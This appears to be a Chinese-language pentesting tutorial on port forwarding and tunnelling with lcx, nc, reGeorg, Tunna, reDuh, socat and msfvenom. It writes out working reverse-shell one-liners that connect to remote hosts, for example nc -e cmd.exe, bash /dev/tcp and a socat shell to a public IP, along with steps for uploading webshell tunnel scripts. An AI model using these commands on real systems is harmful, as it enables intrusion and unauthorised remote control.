在滲透測試過程中,我們經常會用到端口轉發,利用代理腳本將內網的流量代理到本地進行訪問,這樣極大的方便了我們對內網進行橫向滲透。最常見的端口轉發工具不限於以下幾款,大家可以根據在實際測試過程的需要進行選擇。
開門見山
lcx端口轉發
前提是在端口轉發的時候需要一台公網服務器,lcx是一款輕便的端口轉發工具,Lcx程序多用於被控制計算機處於內網的時候,被控制機可能中了木馬程序,雖然能夠進行控制,但還是沒有使用遠程終端登錄到本機進行管理方便,因此在很多情況下,都會想方設法在被控制計算機上開啟3389端口,然后通過lcx等進行端口轉發,進而在本地連接到被控制計算機的遠程終端並進行管理和使用。在沒有端口轉發的情況下外網主機是不能直接連接內網主機的,但是lcx工具可以將內網主機(出入內網主機的需要能夠ping通互聯網)的某個端口抓發到外網的某個端口上面,這樣的話處於外網的主機可以將映射到外網的端口再反彈到另一個外網的端口上面(用的最多的是3389),這樣我們就可以直接遠程連接反彈的端口就可以與內網主機進行通信。故內網已經打通,說實話lcx的工具如同在路由器上面做了端口轉發。
在被控制端執行命令:lcx.exe -slave 192.168.205.1 53 192.168.205.143 3389 //將內網3389端口轉發到公網53端口;
在控制端執行命令:lcx.exe -tran 53 1234 //將接收到的53端口反彈到1234端口;
執行完畢后,我們會發現內網的3389已經反彈到公網53端口:
我們本地遠程連接192.168.205.1:1234,就可以訪問到內網主機,這樣我們就可以遠程登陸內網服務器,進行內網的橫向掃描(請勿非法使用):
nc端口轉發
nc這個工具不僅可以反彈端口,也可以作為掃描器使用,在這里我們只是介紹一下端口轉發的作用。內網服務器將cmd.exe(就是個shell)主動響應到你電腦的777端口。你再在本地機上監聽777端口,這樣就進入了對方的cmd了。
我們在分別在內網與公網服務器執行以西命令:
nc -t -e cmd.exe 192.168.205.1 8888 //在內網服務器上面執行此命令,將在公網服務器開啟一個cmd的窗口;
nc -lvp 8888 //在公網服務器上面執行此命令,接受來自內網的信息,將信息反饋到公網的8888端口;
當我們端口轉發成功后,在公網服務器上面會反彈一個cmd的命令窗口,這個就是內網服務器的,在上面可以執行系統命令,如下圖所示:
socks 代理工具
下面配合實驗來介紹一下sockes代理工具,主要涉及reGeorg、Tunna
reGeorg端口轉發
reGeorg不用多介紹了,內網滲透中常用工具之一。小白經常用於滲透測試中的內網轉發,主要是因為方便實用。這個工具需要配合
proxifier,使用的socks5代理進行運用的。標紅的是我們需要的腳本,根據自己的需要結合實際測試環境來選用的。
首先我們現經代理腳本上傳到服務器,實驗的環境是jsp的,所以上傳代理腳本tunnel.nosocket.jsp,然后我們在瀏覽器訪問一下,如果出現以下提示就說明代理成功。
上傳代理腳本成功后,我們打開proxifier進行配置參數,代理的端口默認是8888,代理的規則我們設置為谷歌瀏覽器,如果其它的不需要可以去掉勾:
上述代理參數配置完畢后,我們在cmd輸入一下命令就會出現下面的界面:python2.exe reGeorgSocksProxy.py -p 8888 -uhttp://xxxx:8888/tran.jsp。這樣的話我們就把內網的流量代理到外面,我們下一步就可以使用掃描工具進行內網的橫向掃描。就這么簡單直接。如果內網中的3389只能是內網進行連接的話,我們可以使用mstsc.exe通過代理進行連接3389遠程桌面,其它的端口都是一樣的道理,靈活運用即可。(僅限學習,切勿在未授權的情況下使用!!!)
Tunna端口轉發
Tunna這個工具使用起來也特方便,腳本的編寫也是基於Python2版本。運用的時候也需要我們把代理腳本上傳到目標服務器,然后通過代理內網的某個端口,注意這個工具只能代理一個端口,有點局限性。但是我們可以代理3389、22、3306、1433等敏感端口,然后將敏感端口流量轉發了外網的的某個端口,我們再通過本地連接外網的端口進行連接,這樣的話我們就可以使用了。
第一步:我們將代理腳本上傳到目標服務器,在瀏覽器訪問代理腳本是否被解析:
第二步:運行proxy.py 並指定端口 python proxy.py -uhttp://192.168.205.143/conn.php -l 1234 -r 3389 -v;
第三步:本地執行rdesktop 127.0.0.1:1234;
reDuh端口轉發
reDuh也是一款內網滲透利器,這個工具可以把內網服務器的端口通過http/https隧道轉發到本機,形成一個連通回路。用於目標服務器在內網或做了端口策略的情況下連接目標服務器內部開放端口。服務端是個webshell,工具里面針對不同服務器有aspx,php,jsp三個版本,客戶端是java寫的,本機執行最好裝上JDK軟件。
我們將代理腳本上傳到目標服務器,在本地訪問代理腳本
這樣我們執行一下三條命令就可以成功將目標主機的3389端口代理到本地的1234端口,本地連接1234端口就可以登陸內網服務器。
java -jar reDuhClient.jarhttp://somesite.com/reDuh.php
本地連接1010端口
nc -vv localhost 1010
連接成功會有歡迎提示,之后輸入命,在java命令窗口執行
[createTunnel]1234:127.0.0.1:3389
使用mstsc登錄127.0.0.1:1234,到了這一步就算成功了,我們可以根據前期抓取到的登陸密碼進行登陸。
由於小白能力有限,其它的sockes代理后續會以實驗的形式 再呈現給大家。下面說一一下bash端口轉發。
山轉一角
Linux一句話端口轉發
我們在滲透測試中回經常遇見Linux主機環境,我們將獲取到Linux主機的shell為內網滲透的工作之一,但有時候把並不是我們想象的那樣簡單,畢竟目標主機是處在內網環境中沒有公網IP是無法與我們的公網IP進行通信的,中間隔了一道牆這怎么搞?
1、bash直接反彈端口:
bash一句話反彈shell,個人在實際滲透中用的也比較少,但是我看着別人都說還比較方便,那么下面就來看一下,這個bash怎么反彈端口的。
首先我們在我們先在目標主機上面執行命令:bash -i >& >/dev/tcp/公網IP/端口 0>&1;
我們先不看執行的效果如何,分析一下這個命令的含義:
bash -i //意思指的是產生一個bash的交互環境;
>/dev/tcp/公網IP/端口 //大佬們其實一看就明白,就是讓內網主機與公網主機的某個端口進行連接;
0>&1 //將標准輸入域標准輸出內容相結合,然后重定向給前面的標准輸出內容;
然后在公網服務器上面執行監聽命令,這樣的話就能把內網的shell轉發到公網服務器:nc -lvvp 端口
在目標主機上面查看端口信息發現,目標主機與公網IP的8888端口建立了連接,故內網主機的shell反彈到了公網服務器。
除了bash一句話可以反彈shell,還包括不限於python\java\per\php等腳本的一句話,感興趣的大佬都可以自己去研究一下。小白就不在這里班門弄斧了。
冰雪來襲
socat 反彈一句話
Socat是Linux 下一個多功能的網絡工具,它與nc工具差不多,但是看了網上多說人反饋相比NC工具方便的多。為了方便測試,內網主機我們用kali,因為kali上面不用安裝,需要在公網IP安裝一下。
首先我們在公網上面執行監聽9999端口的命令:socat TCP-LISTEN:9999 -
目標主機上面執行以下命令:socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:106.xxx.xxx.115:9999
執行完畢后,公網服務器上面就會出現內網的bash,可以執行系統命令。
msfvenom 獲取反彈一句話
MSF滲透測試框架除了常規的端口掃描、口令爆破、抓包、提權等操作,還可以作為生成一句話反彈shell的工具。我們需要在MSF上面查詢到各類的路徑信息。本機的服務器有點卡,就不一一列出各類的路徑信息。
首先使用bash反彈生成一句話,執行一下命令:msfvenom -p cmd/unix/reverse_bash lhost=MSFIP lport=5555 R 這條命令也可以在自己kaili上面執行生成,只是把IP改為自己的公網IP,本地測試的時候在公網服務器生成的事件特慢,不知道什么原因。
一定要先在公網服務器監聽5555端口,然后把生成的執行語句在目標主機上面進行執行(執行的命令為上個圖片中標紅的命令)。不然會出錯的。
接下來我們玩個刺激的,看看powershell能不能行的通?我們搜索搜索一下是不是有powershell這個模塊,通過命令查詢,果不其然有這個模塊,你要知道pwoershell這個滲透測試框架是非常牛逼的,我們在安全測試過程中不僅遇見Lin環境,更多的遇見的是Win環境。廢話少數,下面開始測試
msfvenom -l payloads |grep ‘reverse_powershell’ //查詢powershell模塊的位置
msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=8899 r //生成payload,類型是Powershell,標紅的一段是需要在目標主機上面執行的命令。
由於執行的命令太多了,小白在這里就不羅列了,還是那句話,首先在公網服務器上執行監聽的命令:
nc -lvvp 8899 //監聽本機的8899端口
下面我們在內網服務器上面執行Powershell命令,看看公網上面會不會反彈shell:
經過測試,發現內網主機的shell已經反彈到了公網服務器,至於紅色報錯小白猜想可能是內部信息的報錯。
說了那么多其它的腳本格式的轉發也一樣,在這里小白就不一一嘮叨了,本小白本着學習的態度以及讓大佬們挑錯的目的來寫這篇基礎中基礎的文章。還望大佬們多多指點。